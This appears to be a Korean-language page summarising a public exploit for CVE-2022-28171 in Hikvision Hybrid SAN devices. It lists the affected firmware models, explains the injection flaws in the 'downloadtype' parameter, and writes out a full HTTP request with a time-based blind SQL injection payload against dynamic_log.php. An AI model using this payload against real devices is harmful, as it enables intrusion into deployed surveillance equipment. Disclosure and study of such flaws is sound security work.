nyameeeain/cve-2022-28171-pocCVE-2022-28171을 대상으로 하는 Hikvision Hybrid SAN 장치용 Python 익스플로잇, 블라인드 SQL 인젝션 및 명령어 인젝션을 자동화하여 원격 코드 실행을 달성합니다.
이 글은 원래 ExploitDB에 게시했으며, 다음 주소에서 확인할 수 있습니다: https://www.exploit-db.com/exploits/51607
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
Hikvision은 민간 및 군사용 목적으로 비디오 감시 및 사물인터넷(IoT) 장비를 공급하는 세계적인 감시 제조업체 및 공급업체입니다. 일부 Hikvision Hybrid SAN 제품은 command injection, Blind SQL injection, HTTP request smuggling, reflected cross-site scripting 등 여러 원격 코드 실행 취약점에 영향을 받았습니다. 이로 인해 원격 코드 실행이 가능하여 임의의 운영 체제 명령 등을 실행할 수 있었습니다.
수동 테스트를 통해 "downloadtype" 매개변수가 Blind SQL injection 및 Command Injection에 취약함을 확인했습니다. 애플리케이션이 방화벽 뒤에 있고 SQLmap의 모든 요청을 차단했기 때문에, SQL 버전을 자동화하고 열거하기 위해 Python 스크립트를 만들었습니다.
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close